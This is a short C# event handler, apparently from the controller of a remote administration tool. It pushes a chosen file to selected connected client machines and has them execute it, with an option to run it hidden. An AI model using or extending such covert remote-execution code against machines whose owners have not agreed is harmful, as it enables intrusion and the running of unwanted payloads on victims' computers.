private void ctxtUploadAndExecute_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new frmUploadAndExecute(lstClients.SelectedItems.Count)) { if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK) { foreach (ListViewItem lvi in lstClients.SelectedItems) { Client c = (Client)lvi.Tag; new Core.Packets.ServerPackets.UploadAndExecute(UploadAndExecute.File, UploadAndExecute.FileName, UploadAndExecute.RunHidden).Execute(c); CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file..."), this); } } } } }